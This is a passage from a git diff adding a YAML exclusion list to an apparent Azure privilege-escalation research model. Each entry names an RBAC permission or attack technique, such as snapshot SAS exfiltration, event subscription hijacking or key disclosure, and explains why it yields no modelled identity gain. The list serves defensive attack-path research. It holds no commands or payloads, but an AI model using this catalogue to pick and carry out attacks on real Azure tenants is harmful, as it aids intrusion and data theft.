establish + that content fact or a privilege gain. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_rbac.yaml b/src/privilege-escalation-paths-research/azure/_excluded_rbac.yaml new file mode 100644 index 0000000000..ca6ba63d36 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_rbac.yaml @@ -0,0 +1,926 @@ +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#permission-first-role-discovery + technique: Permission-first role discovery + reason: Enumeration guidance only; no privilege gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftmanagementmanagementgroupswrite + technique: Microsoft.Management/managementGroups/write + reason: Creating or re-parenting management groups changes inherited policy/RBAC, but per Microsoft docs moving an MG/subscription also requires Owner-equivalent (roleAssignments/write) on the child, which already yields scope ownership; no additional edge. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftmanagementmanagementgroupssubscriptionswrite + technique: Microsoft.Management/managementGroups/subscriptions/write + reason: Subscription move requires Owner on the subscription (roleAssignments/write) plus MG write on source/target parents; the resulting gain is already covered by azure-authorization-roleassignments-write. Main effect is policy evasion. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsjobsstreamsread + technique: Microsoft.Automation/automationAccounts/jobs/streams/read + reason: Data read of historical job output; any secret exposure is content-dependent (Exposure/Least Privilege). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsvariablesread + technique: Microsoft.Automation/automationAccounts/variables/read + reason: Data read of unencrypted variables only (encrypted values return null); content-dependent exposure. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#hybrid-workers-group + technique: From a compromised Hybrid Worker VM to the Automation account identity + reason: Requires OS-level local admin on the worker during a running job (host compromise), not an RBAC permission. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#automation---malicious-python-packages + technique: Overwrite custom runtime environment / Python packages + reason: At rev 171e422 runbook-side package use is covered by azure-automation-runbook-author-and-run. No grantable RBAC action documented (runtimeEnvironments/packages/write is rejected in custom roles per the same page); classic module/Python package route is modelled as azure-automation-poison-module-or-package. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesread-microsoftcomputevirtualmachineswrite-microsoftcomputedisksread-microsoftcomputediskswrite + technique: Attach a managed disk to a VM (disks read/write + virtualMachines write) + reason: Offline data access to disk contents; any credential found is content-dependent (Exposure). No identity is obtained by the operation itself. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#managed-disk-snapshot-and-restore-point-sas-exfiltration + technique: disks/snapshots/diskRestorePoints beginGetAccess SAS exfiltration + reason: The permission grants raw VHD data access. The VHD may contain usable cloud credentials, but their presence, validity and target principal depend on disk contents that an Azure RBAC snapshot cannot determine. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftnetworkvpnserverconfigurationslistallradiusserverssecretsaction + technique: Microsoft.Network/vpnServerConfigurations/listAllRadiusServersSecrets/action + reason: Network trust secret (RADIUS shared secret); network pivot without a new Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftnetworkvirtualnetworkgatewayslistallradiusserverssecretsaction + technique: Microsoft.Network/virtualNetworkGateways/listAllRadiusServersSecrets/action + reason: Network trust secret; network pivot without a new Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftnetworkconnectionssharedkeyaction-microsoftnetworkconnectionssharedkeyread + technique: Microsoft.Network/connections/sharedKey read + reason: VPN pre-shared key disclosure; network pivot without a new Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesfunctionslistkeysaction-and-microsoftwebsitesslotsfunctionslistkeysaction + technique: Function key listing (functions/listkeys, slots variant) + reason: A function key only authorizes invoking one function; no code execution or identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesfunctionskeyswrite-and-microsoftwebsitesslotsfunctionskeyswrite + technique: Function key write (functions/keys/write, slots variant) + reason: Invocation-only credential; impact depends on existing function behaviour. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesfunctionslistsecretsaction-and-microsoftwebsitesslotsfunctionslistsecretsaction + technique: functions/listsecrets + reason: Returns a trigger URL/function key; invocation only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshostfunctionkeyswrite-and-microsoftwebsitesslotshostfunctionkeyswrite + technique: Host function key write + reason: Not a master key; authorizes invoking functions only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshostsystemkeyswrite-and-microsoftwebsitesslotshostsystemkeyswrite + technique: Host system key write + reason: Authorizes extension webhooks only; invocation of existing code. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshostruntimevfsread + technique: hostruntime/vfs/read + reason: Source code read only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesconfigwrite + technique: Enable/disable functions via config/write + reason: Toggling functions alone is not an identity gain; config/write is modelled as azure-appservice-config-write. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitespublishxmlaction-microsoftwebsitesbasicpublishingcredentialspolicieswrite + technique: Microsoft.Web/publishingUsers/write (user-scope deployment credentials) + reason: User-scope credentials only work on apps where the principal already has deployment authorization; no new gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#start-existing-webjobs + technique: triggeredwebjobs/run, continuouswebjobs/start + reason: Runs existing code without attacker input; impact is behaviour-dependent, not an identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsiteshybridconnectionnamespacesrelayslistkeysaction + technique: Hybrid connection relay listKeys + reason: Network pivot via Relay sender key; no Azure identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#read-configured-third-party-credentials + technique: Read third-party source-control tokens + reason: Yields external (GitHub/Bitbucket/etc.) tokens of the caller, not an Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#update-app-code-from-the-source + technique: Update app code via configured repository + reason: Requires compromise of an external repository; RBAC-derived SCM credential path is modelled in app_services.yaml. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#storage-backed-external-function-packages + technique: Storage-backed external Function packages + reason: Duplicate of azure-functions-content-storage-write. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-log-analytics-privesc.md#log-analytics + technique: Page intro; workspace shared keys (listKeys/sharedKeys/regenerateSharedKey, no longer a separate heading at 171e422) + reason: Introductory section; shared keys only allow log ingestion/poisoning and disruption, no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-quantum-privesc.md#workspace-api-key-disclosure-and-regeneration + technique: Quantum workspace listKeys/regenerateKey + reason: A credential or permission gain is documented, but it is deferred until azure_service_credential target + for a Quantum workspace key and an any_of action requirement. Either workspace action returns a key; the two + actions are alternatives, not a conjunction. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#microsoftpurviewaccountslistkeysaction + technique: Purview listkeys (Atlas Kafka Event Hubs) + reason: A credential or permission gain is documented, but it is deferred until azure_service_credential target + for Purview Atlas Kafka rule, with exact Send/Listen rights; never infer Listen from a returned string. Generated + Event Hubs rule rights and receiver availability are not established by ARM permission alone. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-redis-privesc.md#microsoftcacheredislistkeysaction + technique: Redis listKeys / Managed Redis listKeys/regenerateKey + reason: A credential or permission gain is documented, but it is deferred until azure_service_credential target + for Redis keyspace access and machine-checked access-key authentication. The key is a Redis login, not an Azure + IAM principal; disabled key auth defeats use. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-fluid-relay-privesc.md#server-tenant-key-disclosure-and-regeneration + technique: Fluid Relay listKeys/regenerateKey + reason: The returned Fluid tenant signing key permits JWT signing as Fluid application users; this is application-user + impersonation scoped to the Fluid server, not Azure/Entra identity control. + source_revision: 0b36331 +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-relay-privesc.md#relay-sas-key-disclosure + technique: Relay authorization rule listkeys/regenerateKeys + reason: A credential or permission gain is documented, but it is deferred until azure_service_credential target + with Relay namespace/entity scope and rule Send, Listen, Manage rights. A SAS rule can have different rights; + listener takeover cannot follow from Send alone. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md#microsoftdesktopvirtualizationhostpoolsretrieveregistrationtokenaction + technique: AVD host pool registration token + reason: Requires an attacker-controlled compliant, domain/Entra-joined VM; session/credential capture is outside RBAC modelling. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md#microsoftauthorizationroleassignmentsread-microsoftauthorizationroleassignmentswrite + technique: Assign Desktop Virtualization User via roleAssignments/write + reason: Covered by azure-authorization-roleassignments-write. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-deployment-privesc.md#read-declared-outputs-and-execution-logs + technique: deploymentScripts read / logs read + reason: Data read of outputs/logs; content-dependent exposure. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-template-spec-privesc.md#related-actions + technique: templateSpecs write/read/delete, deploymentStacks write + reason: Read/delete are exposure/DoS; deploymentStacks write is not a standalone escalation per the page. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sre-agent-privesc.md#microsoftappagentslistsecretsaction + technique: SRE Agent listSecrets + reason: A credential or permission gain is documented, but it is deferred until external_or_agent_credential target + with secret classification and downstream audience. The response may contain protected material, but listSecrets + alone does not identify a reusable principal. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sre-agent-privesc.md#microsoftappagentsdataconnectorslistsecretsaction + technique: SRE Agent data connector listSecrets + reason: A credential or permission gain is documented, but it is deferred until external_service_credential target + keyed by connector provider and secret audience. A connector secret may authenticate to different backends and + scopes. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-notification-hubs-privesc.md#shared-access-keys + technique: Notification Hubs authorization rule listkeys/regenerateKeys + reason: Push notification abuse and registration data; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-notification-hubs-privesc.md#platform-notification-service-credentials + technique: Notification Hubs pnsCredentials + reason: Third-party push credentials; no Azure identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-maps-privesc.md#microsoftmapsaccountslistkeysaction + technique: Maps listKeys / regenerateKey + reason: Maps data-plane shared key; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#microsoftdigitaltwinsdigitaltwinswrite + technique: Digital Twins query/read/write/relationships + reason: Graph data read/write; write is a second-order, consumer-dependent effect without a modelable identity edge. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md#microsoftdbformysqlflexibleserversread-microsoftdbformysqlflexibleserverswrite-microsoftdbformysqlflexibleserversbackupsread + technique: MySQL restore from backup + reason: Copies data into a new server; data access only (password reset path modelled separately). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-attestation-privesc.md#microsoftattestationattestationprovidersattestationwrite + technique: Attestation policy write + reason: Subverts trust decisions of relying workloads; no direct identity gain modelable from RBAC. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-speech-services-privesc.md#batch-transcription-content-disclosure + technique: Speech transcription read + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-video-indexer-privesc.md#account-access-token--private-media-readwrite + technique: Video Indexer generateAccessToken / generateRestrictedViewerAccessToken + reason: A credential or permission gain is documented, but it is deferred until azure_video_indexer_role target + for short-lived account Contributor token. The token grants VI account data-plane rights, not Azure subscription + administration. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#blind-source-replacement-with-microsoftsearchsearchservicesdatasourceswrite + technique: AI Search dataSources/write source replacement + reason: Data exfiltration through the Search identity; no identity gain for the source. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#blind-indexer-creation-with-microsoftsearchsearchservicesindexerswrite + technique: AI Search indexers/write + reason: Data exfiltration through the Search identity; no identity gain for the source. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#microsoftinsightsactiongroupsread + technique: Action group receiver URIs read + reason: Reads stored callback secrets (Logic App SAS / function keys) that only invoke triggers; data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#microsoftinsightswebtestsread + technique: Availability web test definition read + reason: Data read of stored request credentials of unknown content. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#microsoftinsightscomponentsapikeysaction + technique: Application Insights API key creation + reason: Telemetry read only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#microsoftinsightsgeneratelivetokenread + technique: Live Metrics token + reason: Telemetry read only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md#queue-storage + technique: Page intro; queue message peek/get + reason: Introductory section; message reads are data access. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md#queue + technique: Queue data actions (message read/add/update, queue create/metadata write) + reason: Data access and disruption; the only escalation is through a downstream consumer, mapped as azure-queue-message-injection-consumer (#conditional-escalation-through-a-downstream-consumer). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-communication-services-privesc.md#microsoftcommunicationcommunicationserviceswrite + technique: ACS identity token minting via CommunicationServices/Write + reason: Impersonates ACS communication identities, not Azure/Entra principals. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-communication-services-privesc.md#microsoftcommunicationcommunicationserviceslistkeysaction + technique: ACS ListKeys / RegenerateKey + reason: Service access keys; no Azure identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-stream-analytics-privesc.md#sample-private-input-events + technique: Stream Analytics input sampling + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-stream-analytics-privesc.md#redirect-a-running-jobs-output-sink-with-stop--outputswrite--start + technique: Stream Analytics output redirection + reason: Data exfiltration; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#read-plaintext-job-and-schedule-configuration + technique: Batch job/schedule configuration read + reason: Data read of configuration of unknown content. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesonlineendpointstokenaction + technique: Online endpoint AML token + reason: Scoring access to one endpoint; data/cost impact only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesserverlessendpointslistkeysaction + technique: Serverless endpoint listKeys + reason: Inference keys; data/cost impact only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#azure-ml-v1-environment-registry-credentials + technique: Azure ML V1 environment registry credentials + reason: Registry credential disclosure; image poisoning is second-order. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#stored-azure-openai-response-disclosure + technique: Stored Azure OpenAI responses + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#foundry-project-response-disclosure-through-aiservicesagentsread + technique: Foundry agents/read response disclosure + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftcognitiveservicesaccountslistkeysaction--microsoftcognitiveservicesaccountsregeneratekeyaction + technique: Cognitive Services listKeys / regenerateKey + reason: Service API keys; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftsearchsearchservicesindexesdocumentsread--microsoftsearchsearchservicesindexescontentsecurityelevatedoperationsread + technique: AI Search elevated read + reason: Data read bypassing document ACLs. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftsearchsearchservicesskillsetswrite + technique: AI Search skillsets/write + reason: Duplicate of azure-ai-search-skillset-write-identity-token (ai_search.yaml). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftsearchsearchserviceslistquerykeysaction--microsoftsearchsearchservicescreatequerykeyaction + technique: AI Search query keys + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#data-asset-metadata-permissions-are-not-standalone-poisoning + technique: ML data asset metadata writes + reason: Page states not a standalone primitive. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftcontainerinstancecontainergroupsrestartaction-microsoftcontainerinstancecontainergroupsstartaction + technique: ACI restart/start + reason: 'Replays unchanged startup; no attacker-controlled code (page: Medium).' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappcontainerappsrevisionsactivateaction-microsoftappcontainerappsrevisionsrestartaction-microsoftappcontainerappsstartaction + technique: Container App revision activate/restart/start + reason: Runs existing code only; no attacker-controlled code. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappsessionpoolsfilescontentread + technique: Session pool file read + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappsandboxgroupssandboxesexecutecommandaction-and-microsoftappsandboxgroupssandboxesexecuteshellcommandaction + technique: ACA Sandbox command execution + reason: Code execution in isolated sandbox; page does not state a managed identity is reachable. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappsandboxgroupssandboxesfilesread + technique: ACA Sandbox file read + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappbuildslistauthtokenaction + technique: Container Apps build auth token + reason: Page states impact not demonstrated; conditional and not modelable. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceuserstokenaction + technique: APIM developer-portal user SSO token + reason: Developer-portal identity, not an Azure principal. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicesubscriptionsread--microsoftapimanagementservicesubscriptionslistsecretsaction + technique: APIM subscription keys + reason: API access keys; data access only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceapikeyslistsecretsaction + technique: AI Gateway API keys + reason: Gateway runtime keys; configuration-dependent data access. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceworkspacestoolserverslistsecretsaction + technique: Tool Server secrets + reason: External credentials of unknown content. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceportalconfigslistdelegationsecretsaction-and-microsoftapimanagementserviceportalsettingslistsecretsaction + technique: Portal delegation keys + reason: Developer-portal delegation forgery; no Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceportalconfigslistmediacontentsecretsaction-and-microsoftapimanagementserviceportalsettingslistsecretsaction + technique: Portal media SAS + reason: Portal media data access. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicebackendsread + technique: Backend credentials read + reason: Stored header credentials of unknown content; data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicetenantlistsecretsaction + technique: Tenant access keys + reason: APIM direct management API only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicegatewaysgeneratetokenaction + technique: Self-hosted gateway token + reason: Gateway configuration access only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#policy-read-permissions + technique: Policy read + reason: Data read of embedded values. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#jwt-validation-misconfiguration + technique: JWT validation misconfiguration + reason: Application-level misconfiguration; not an RBAC edge. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceapplynetworkconfigurationupdatesaction + technique: Network configuration updates + reason: Network exposure change only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-bot-service-privesc.md#microsoftbotservicebotserviceschannelslistchannelwithkeysaction + technique: Bot channel keys + reason: Bot client impersonation; no Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-bot-service-privesc.md#microsoftbotservicebotserviceschannelsregeneratekeysaction + technique: Bot channel key regeneration + reason: Rotates and returns the Direct Line / Web Chat channel secret; allows impersonating the bot client, no Azure identity gained (rev 171e422; Health Bot export heading removed upstream). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-bot-service-privesc.md#microsofthealthbothealthbotslistsecretsaction + technique: Health Bot secrets + reason: Service management API of one bot; no Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-bot-service-privesc.md#microsofthealthbothealthbotsadminsecretsgenerateapikeyaction + technique: Health Bot API key generation + reason: Service management API of one bot; no Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriesrunslistlogsasurlaction + technique: ACR run log SAS + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriestaskslistdetailsaction-microsoftcontainerregistryregistriestaskrunslistdetailsaction + technique: ACR task listDetails + reason: Secret read of unknown content. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistrieswebhooksgetcallbackconfigaction + technique: ACR webhook callback config + reason: Callback secret read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbdatabaseaccountslistkeysaction + technique: Cosmos DB listKeys + reason: Returns a reusable account-wide read/write master key when local key authentication is enabled; a scoped + Cosmos credential target is needed to avoid treating data-plane access as Azure identity control. + source_revision: 0b36331 +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbdatabaseaccountslistconnectionstringsaction + technique: Cosmos DB listConnectionStrings + reason: For SQL API accounts the connection string embeds a reusable read/write master key; account API and local-key-auth + configuration must be checked before a scoped credential edge. + source_revision: 0b36331 +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbdatabaseaccountsreadonlykeysaction + technique: Cosmos DB read-only keys + reason: Returns reusable account-wide read-only master keys; a scoped read-only credential target and local-key-auth + check are needed. + source_revision: 0b36331 +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftinferenceserviceinferenceaccountslistkeysaction + technique: Inference account listKeys / regenerateKeys / invoke + reason: Returns a reusable Semantic Reranker key for billed inference when key authentication is enabled; it grants + no Cosmos document or ARM access. + source_revision: 0b36331 +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbmongoclustersread--microsoftdocumentdbmongoclustersfirewallruleswrite + technique: MongoDB cluster firewall rules write + reason: Network exposure only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#microsoftdatafactoryfactoriespipelinescreaterunaction + technique: Run an existing pipeline + reason: No attacker-controlled code; existing pipeline behaviour only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#exchange-a-supplied-github-authorization-code-with-factoriesgetgithubaccesstokenaction + technique: Factory GitHub OAuth token theft + reason: Returns a GitHub OAuth token for the factory integration. Repository rights depend on the token scope + and configured GitHub account; an external application identity target is needed. + source_revision: 0b36331 +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#read-plaintext-parameters-from-pipeline-run-history + technique: Pipeline run parameter read + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#secret-delivery-attribute-disclosure + technique: Event subscription secret delivery attributes + reason: Secret read of unknown content. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#signed-event-subscription-endpoint-disclosure + technique: Event subscription full endpoint URL + reason: Callback secret read (invokes triggers only). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#hijack-event-delivery-by-overwriting-a-subscription-with-eventsubscriptionswrite + technique: Event subscription destination overwrite + reason: Event exfiltration; any delivery token is audience-bound to the destination app, not a usable Azure identity edge. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#namespace-pull-subscription-data-disclosure + technique: Event Grid namespace events/receive + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#iot-hub-shared-access-policy-keys + technique: IoT Hub shared access keys + reason: IoT device-plane control; no Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#device-provisioning-service-shared-access-policy-keys + technique: DPS shared access keys + reason: IoT device-plane control; no Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#device-and-module-identity-takeover + technique: IoT device/module identity takeover + reason: IoT device identities are not Azure/Entra principals. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#device-twin-disclosure-and-commandconfiguration-injection + technique: Device twin read/write + reason: Device configuration injection; device-side effect. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#cloud-to-device-messages-direct-methods-and-jobs + technique: C2D messages, direct methods, jobs + reason: Device-side effect; no Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#full-registry-export-and-import + technique: Registry export/import + reason: IoT device credentials; no Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#dps-attestation-key-disclosure-and-unauthorized-provisioning + technique: DPS attestation keys + reason: IoT device provisioning; no Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#lower-impact-boundaries + technique: IoT lower-impact operations + reason: Low impact per page. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespaceswrite--microsoftservicebusnamespacesread-if-az-cli-is-used + technique: Service Bus re-enable local auth + reason: Control weakening; no identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#access-key-disclosure-and-message-injection + technique: SignalR/Web PubSub access keys + reason: A credential or permission gain is documented, but it is deferred until azure_service_credential target + for SignalR or Web PubSub access key, service-specific local-auth condition. Key return grants service management + API authority, but Web PubSub may disable local auth. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#signalr-temporary-signing-material-with-only-authaccesskeyaction + technique: SignalR auth/accessKey + reason: A credential or permission gain is documented, but it is deferred until azure_service_credential target + for temporary SignalR client JWT signer and known hub. The transient key mints client tokens, not a durable + Azure principal. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#targeted-client-message-injection + technique: SignalR/Web PubSub message injection + reason: Message injection; escalation depends on downstream consumer logic, not modelable from RBAC. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#web-pubsub-client-token-minimum-pair + technique: Web PubSub client token + reason: A credential or permission gain is documented, but it is deferred until azure_application_client target + with Web PubSub hub binding and two-action conjunction. The page tests that generateToken alone gets HTTP 403; + write is also required. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#modify-network-restrictions + technique: Key Vault network ACL change + reason: Network reachability only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowstriggerslistcallbackurlaction + technique: Trigger callback URL + reason: Runs existing workflow logic only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowslistcallbackurlaction + technique: Workflow callback URL + reason: Runs existing workflow logic only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#integration-account-signed-callback-permissions + technique: Integration Account callback URLs + reason: Artifact content read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsversionstriggerslistcallbackurlaction + technique: Version trigger callback URL + reason: Runs stored workflow logic only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowstriggersrunaction + technique: Run existing trigger + reason: Runs existing workflow logic only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsrunaction + technique: Run existing workflow + reason: Runs existing workflow logic only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowstriggershistoriesresubmitaction + technique: Resubmit trigger history + reason: Replays existing logic only. +- source: 